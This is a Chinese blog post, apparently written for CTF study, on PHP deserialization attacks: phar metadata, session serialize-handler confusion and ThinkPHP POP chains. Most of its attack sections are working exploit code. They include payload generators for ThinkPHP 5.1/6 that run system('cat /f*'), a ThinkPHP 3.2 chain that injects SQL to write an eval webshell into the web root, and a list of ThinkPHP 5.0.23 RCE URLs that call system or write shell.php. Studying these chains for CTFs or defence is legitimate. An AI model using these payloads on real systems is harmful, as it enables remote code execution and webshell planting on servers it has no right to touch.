php--高级反序列化

🎼个人主页:金灰

😎作者简介:一名简单的大一学生;易编橙·终身成长社群的嘉宾.✨

专注网络空间安全服务,期待与您的交流分享~

感谢您的点赞、关注、评论、收藏、是对我最大的认可和支持!❤️

🍊易编橙·终身成长社群🍊 : http://t.csdnimg.cn/iSLaP 期待您的加入~

免责声明:本文仅作分享。。。

目录

phar反序列化

phar协议

总结:

哪里使用的多?

条件:

session反序列化

总结:

php默认处理器

php_serialize序列化处理器方式

php框架

形象举例:

MVC在web中的应用:

特点:

tp手册:

tp反序列化链 (pop链):

tp5.1反序列化链

tp6 反序列化链

TP3.2反序列化exp

tp5.0.23之前RCE


phar反序列化

phar
The phar extension provides a way to put entire PHP applications into a single file called a "phar" (PHP Archive) for easy distribution and installationPhar认为是--java的jar包  
calc.exe phar能干什么?
多个php合并为独立压缩包
不解压就能执行里面的php文件
支持web服务器和命令行(在php.ini 配置里phar 一定要改成Off)

phar协议

phar://xxx.phar/aaa.php
phar://xxx.phar/aaa.txt$phar->setmetadata($h);
metaData可以存放一个类实例,生成phar后,会将这个类实例已序列化字符串形式存放至Phar文件内
当使用phar协议加载phar文件时,会自动反序列化这个类的序列化字符串

总结:

1 生成phar包时,可以往metaData里面放对象
2 生成后,对象会自动序列化保存到phar包中
3 使用phar协议读取phar包时,如果当前脚本识别了这个类,会自动调用这个类的魔术方法

哪里使用的多?

如果有上传点,上传文件的前半部分可控,后缀黑名单,不能是危险的后缀 php phps phtml ini .但没有禁止上传phar文件.
能够上传phar文件,找到大量使用的file_exits等文件读取函数,通过控制phar://头,来使用phar协议来解析phar包.
就能自动进行反序列化.

条件:

1 能够生成phar包并上传写入
2 有可利用的文件操作函数,并控制了协议头,使用phar协议解析
3 有可以利用的恶意类

//参数是string型的文件都行
//参数是string型的文件都行
//参数是string型的文件都行
include "phar://ctf.phar";
file_exists("phar://");
file_get_contents("");
file_put_contents("");
require "";
fileinode("");
filemtime("");
filesize("");
is_dir("");
scandir("");
highlight_file("");
.user.ini    auto_append_file=phar://ctf.phar

session反序列化

PHP_SESSION_UPLOAD_PROGRESS
php的session是存放在文件中的 默认位置是/tmp/sess_PHPSESSID
session 是可以放字符串,数字,也可以放对象

总结:

1 session里面存放对象时,会自动进行序列化,存放序列化后的字符串
2 session里面拿取对象时,会自动进行反序列化,执行对象的魔术方法

php默认处理器

//u|O:4:"user":2:{s:8:"username";N;s:8:"password";N;}  属于php处理器
u|O:4:"user":2:{s:8:"username";N;s:8:"password";N;}
|左边是session的key,右边是要反序列化的东西.
<?phpsession_start();
class user{public $username;public $password;
}
$u = new user();$_SESSION['u'] = $u;// 存放对象-->字符串

 


 

php_serialize序列化处理器方式

a:1:{s:1:"u";O:4:"user":2:{s:8:"username";N;s:8:"password";N;}}
array('u'=>$u);
<?phpsession_start();
class user{public $username;public $password;public function __destruct(){// TODO: Implement __destruct() method.system("calc");}
}
var_dump($_SESSION['u']);  //拿到session传入的//浏览器里面传cookie
// 拿到对象-->进行反序列化

 


a:1:{s:1:"u";O:4:"user":2:{s:8:"username";s:56:"adminu|O:4:"user":2:{s:8:"username";N;s:8:"password";N;}";s:8:"password";s:6:"123456";}}php先拿到|左边的为session的key,右边为要反序列化的内容(}结束)
当要对user类尝试反序列化时,会调用里面的实例,--销毁后被调用,--里面有恶意代码,就能被执行.

php框架

php的开发框架
框架是为开发服务,而不是面向产品php框架的设计思路MVC结构的设计框架
python java 都有基于MVC设计思路提供的框架MVC设计思路->基于MVC的框架->基于框架的产品M  model 模型 
V  view  视图
C  controller 控制器

形象举例:

菜鸟包裹    -> 前台负责分发任务   -> 取件  -> 送件快递员只负责接收、发送包裹 ,其他一律不管  可以认为他就是view 显示层包裹前台  认为是控制器,负责派件和收件的人员安排包裹就是  model控制器 controller 只负责分发请求 
模型   model 只负责处理数据交互  数据输入,经过处理,返回处理后的数据  不在乎  数据哪里来的,也不在乎数据去哪里
视图  view   负责向控制器 发送数据,经过控制器 派发处理后,将数据回显在页面中每个层 都独立起来了

MVC在web中的应用:

1 所有请求都统一入口   index.php  
2 通过不同的参数,表达不同的需求,由index.php作为控制器 统一进行分发处理
3 分发给模型Model处理完毕后,结果返回给Index控制器
4 Index控制器得到结果,返回给页面

特点:

1 从基于文件的url转为 基于路由的url 从关注访问哪个文件,转向关注访问url中的参数 ?a=b&c=d(不关注文件了,而是关注参数的值为什么)
2 使用统一的view视图,返回的数据,就是要显示的数据
3 控制器和视图和用户由关联,模型相对于用户透明 

tp手册:

序言 · ThinkPHP5.1完全开发手册 · 看云


首页为public目录
application目录里面都是前端内容
?s=/模块/控制器/方法
?s=/idnex/index/ctf


tp反序列化链 (pop链):

tp5.1 版本
Windows 类 __destruct  -> removeFiles -> __tostring -> tojson ->toArray 
->getAttr -> block ->writeln ->write ->write ->set ->setTagItem ->set 这个东西要在Linux上,windows特殊字符不行-------文件名为:<?cuc riny($_cbfg[1]);?>tag_+32位md5
php://filter/write=string.rot13/reosource=./<?cuc riny($_cbfg[1]);?>tag_+32位md5文件内容:
php://filter/write=string.rot13/reosource=./<?cuc riny($_cbfg[1]);?>

 

tp5.1反序列化链

<?php  namespace think\model {use think\Model; class Pivot extends Model {} } namespace think { abstract class Model { private $lazySave = false; private $data = []; protected $withEvent = true;private $exists = false; private $force = false; protected $table; private $withAttr = []; public function __construct($obj = '') { $this->lazySave = true;$this->data = array('yq1ng'=>'cat /f*'); $this->withEvent = false;$this->exists = true; $this->force = true; $this->table = $obj; $this->withAttr = array('yq1ng'=>'system'); } } } namespace { use think\model\Pivot; echo urlencode(serialize(new Pivot(new Pivot()))); } 

tp6 反序列化链

<?php  namespace think\model {use think\Model; class Pivot extends Model {} } namespace think { abstract class Model { private $lazySave = false; private $data = []; protected $withEvent = true;private $exists = false; private $force = false; protected $table; private $withAttr = []; public function __construct($obj = '') { $this->lazySave = true;$this->data = array('yq1ng'=>'cat /f*'); $this->withEvent = false;$this->exists = true; $this->force = true; $this->table = $obj; $this->withAttr = array('yq1ng'=>'system'); } } } namespace { use think\model\Pivot; echo urlencode(serialize(new Pivot(new Pivot()))); } 

TP3.2反序列化exp

<?php
namespace Think\Image\Driver{use Think\Session\Driver\Memcache;class Imagick{private $img;public function __construct(){$this->img=new Memcache();}}
}
namespace Think\Session\Driver{use Think\Model;class Memcache {protected $handle;public function __construct(){$this->handle=new Model();}}
}namespace Think{use Think\Db\Driver\Mysql;class Model {protected $data = array();protected $db = null;protected $pk;public function __construct(){$this->db=new Mysql();$this->pk='id';$this->data[$this->pk] = array("table" => 'mysql.user;select "<?php eval($_POST[1]);?>" into outfile "/var/www/html/a.php"# ',"where" => "1");}}
}
namespace Think\Db\Driver{use PDO;class Mysql{protected $options = array(PDO::MYSQL_ATTR_LOCAL_INFILE => true,    // 开启才能读取文件PDO::MYSQL_ATTR_MULTI_STATEMENTS => true //开启堆叠,发现不加这句话也可以);protected $config     = array("debug"             =>   1,'hostname'          =>  '127.0.0.1', // 服务器地址'database'          =>  'ctf',          // 数据库名'username'          =>  'root',      // 用户名'password'          =>  'root',          // 密码'hostport'          =>  '3306');              }
}
namespace{use Think\Image\Driver\Imagick;echo base64_encode(serialize(new Imagick()));
}

tp5.0.23之前RCE

?s=index/think\Request/input&filter=system&data=dir
?s=index/think\Request/input&filter[]=system&data=pwd
?s=index/think\view\driver\Php/display&content=<?php phpinfo();?>
?s=index/think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>
?s=index/think\Container/invokefunction&function=call_user_func&vars[]=system&vars[]=dir
?s=index/think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/384361.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

必应快速收录自动提交链接到IndexNow代码

近来发现bing的搜索量也越来越大了&#xff0c;为了更好的对必应进行seo优化&#xff0c;我们可以把最新的网站文章链接提交给必应IndexNow&#xff0c;以此来加快必应快速收录网站文章链接&#xff0c;那么我们我如何使用php代码来实现提交网站文章链接到必应IndexNow呢&#…

【QAC】分布式部署下其他机器如何连接RLM

1、 文档目标 解决分布式部署下其他机器如何连接RLMLicense管理器。 2、 问题场景 分布式部署下QAC要在其他机器上单独运行扫描&#xff0c;必须先连接RLMLicense管理器&#xff0c;如何连接&#xff1f; 3、软硬件环境 1、软件版本&#xff1a;HelixQAC23.04 2、机器环境…

快手可灵视频生成大模型全方位测评

快手视频生成大模型“可灵”&#xff08;Kling&#xff09;&#xff0c;是全球首个真正用户可用的视频生成大模型&#xff0c;自面世以来&#xff0c;凭借其无与伦比的视频生成效果&#xff0c;在全球范围内赢得了用户的热烈追捧与高度评价。截至目前&#xff0c;申请体验其内测…

路由表与IP数据报转发:基础小白指南

目录 1. 路由表的基本概念 2. 路由表中的默认路由 3. IP数据报的转发流程 4. 路由聚合 5. 最长前缀匹配 总结 在网络世界中&#xff0c;IP数据报的转发是如何进行的&#xff1f; 这篇文章将带你深入了解路由表的基本概念和IP数据报的转发流程。我们会用简洁明了的语言和实…

MYSQL 第四次作业

任务要求&#xff1a; 具体操作&#xff1a; 新建数据库&#xff1a; mysql> CREATE DATABASE mydb15_indexstu; Query OK, 1 row affected (0.01 sec) mysql> USE mydb15_indexstu; Database changed 新建表&#xff1a; mysql> CREATE TABLE student( ->…

计算机网络知识-面试点1

1. 三握四挥 定义&#xff1a; 在计算机网络中&#xff0c;特别是TCP/IP协议中&#xff0c;“三握”指的是三次握手&#xff08;Three-way Handshake&#xff09;&#xff0c;而“四挥”则指的是四次挥手&#xff08;Four-way Handshake&#xff09;。这两个过程分别用于TCP连接…

用python程序发送文件(python实例二十六)

目录 1.认识Python 2.环境与工具 2.1 python环境 2.2 Visual Studio Code编译 3.文件上传 3.1 代码构思 3.2 服务端代码 3.3 客户端代码 3.4 运行结果 4.总结 1.认识Python Python 是一个高层次的结合了解释性、编译性、互动性和面向对象的脚本语言。 Python 的设计具…

k8s中部署nacos

1 部署nfs # 在k8s的主节点上执行 mkdir -p /appdata/download cd /appdata/download git clone https://github.com/nacos-group/nacos-k8s.git 将nacos部署到middleware的命名空间中 kubectl create namespace middleware cd /appdata/download/nacos-k8s # 创建角色 kub…

KamaCoder 98. 所有可到达路径 + LC 797. All Paths From Source to Target

题目要求 给定一个有 n 个节点的有向无环图&#xff0c;节点编号从 1 到 n。请编写一个函数&#xff0c;找出并返回所有从节点 1 到节点 n 的路径。每条路径应以节点编号的列表形式表示。 输入描述 第一行包含两个整数 N&#xff0c;M&#xff0c;表示图中拥有 N 个节点&…

ctfshow-web入门-php特性(web137-web141)

目录 1、web137 2、web138 3、web139 4、web140 5、web141 1、web137 直接调用 ctfshow 这个类下的 getFlag 函数&#xff0c;payload&#xff1a; ctfshowctfshow::getFlag 查看源码&#xff1a; 拿到 flag&#xff1a;ctfshow{dd387d95-6fbe-4703-8ec5-9c8f9baf2bb5} 在…

每天一个设计模式之职责链模式(第一天)

特别感谢刘伟老师&#xff0c;看他的书我学到了很多东西&#xff0c;从今天开始我要开始更新啦&#xff01; 在csdn个人博客来总结知识&#xff0c;把他们变成自己的能力。 对三&#xff0c;要不起&#xff0c;张三李四王五几个人在玩斗地主&#xff0c;过过过&#xff0c;一…

杰发科技Bootloader(1)—— Keil配置地址

IAP方式 BootLoader方式 UDSBoot方式 AC7801的地址分配 用户空间的的地址从8000000开始分配&#xff0c;大小是64页&#xff0c;即128K。 RAM地址从20000000开始 基于UDSboot调试-Boot 烧录Boot之后&#xff0c;ATClinkTool无法连接 用keil查看内存&#xff0c;地址到8005388…

vscode 调试web后端

1、调试环境配置 一、安装python环境管理器 其中要先在vscode选择对应的python环境&#xff0c;最方便的是按照环境管理器后从中选择。其中在【externsions】里面安装python即可。 如下&#xff1a; 二、编写launch.json文件 其中如下&#xff1a; {// Use IntelliSense …

oracle中存储过程的写法

存储过程常规语法&#xff1a; 实际业务例子&#xff1a; CREATE OR REPLACE TRIGGER "TRI_B00_02_ONLY_GUID" BEFORE/AFTER INSERT OR UPDATE OR DELETE ON B00_02 FOR EACH ROW declare t_guid varchar2(300) : ; --GUID t_cnt int : 0; BEGIN t_guid : :NEW…

快速入门C#设计模式【2】结构型模式

结构型模式 适配器模式 (Adapter)桥接模式 (Bridge)组合模式 (Composite)装饰模式 (Decorator)外观模式 (Facade)享元模式 (Flyweight)代理模式 (Proxy) 适配器模式&#xff08;Adapter Pattern&#xff09; 适配器模式&#xff08;Adapter Pattern&#xff09;是一种结构型设计…

Pytorch深度学习实践(5)逻辑回归

逻辑回归 逻辑回归主要是解决分类问题 回归任务&#xff1a;结果是一个连续的实数分类任务&#xff1a;结果是一个离散的值 分类任务不能直接使用回归去预测&#xff0c;比如在手写识别中&#xff08;识别手写 0 − − 9 0 -- 9 0−−9&#xff09;&#xff0c;因为各个类别…

CentOS7下操作iptables防火墙和firewalld防火墙

CentOS7下操作iptables防火墙和firewalld防火墙 &#x1f49d;&#x1f49d;&#x1f49d;欢迎来到我的博客&#xff0c;很高兴能够在这里和您见面&#xff01;希望您在这里可以感受到一份轻松愉快的氛围&#xff0c;不仅可以获得有趣的内容和知识&#xff0c;也可以畅所欲言、…

【OpenCV C++20 学习笔记】调节图片对比度和亮度(像素变换)

调节图片对比度和亮度&#xff08;像素变换&#xff09; 原理像素变换亮度和对比度调整 代码实现更简便的方法结果展示 γ \gamma γ校正及其实操案例线性变换的缺点 γ \gamma γ校正低曝光图片矫正案例代码实现 原理 关于OpenCV的配置和基础用法&#xff0c;请参阅本专栏的其…

HAL STM32 SPI/ABZ/PWM方式读取MT6816磁编码器数据

HAL STM32 SPI/ABZ/PWM方式读取MT6816磁编码器数据 &#x1f4da;MT6816相关资料&#xff08;来自商家的相关资料&#xff09;&#xff1a; 资料&#xff1a;https://pan.baidu.com/s/1CAbdLBRi2dmL4D7cFve1XA?pwd8888 提取码&#xff1a;8888&#x1f4cd;驱动代码编写&…

FastAPI(七十九)实战开发《在线课程学习系统》接口开发-- 加入课程和退出课程

源码见&#xff1a;"fastapi_study_road-learning_system_online_courses: fastapi框架实战之--在线课程学习系统" 加入课程 我们先看下加入课程 1.是否登录 2.课程是否存在 3.是否已经存在 4.添加 首先实现逻辑 def get_student_course(db: Session, course: int…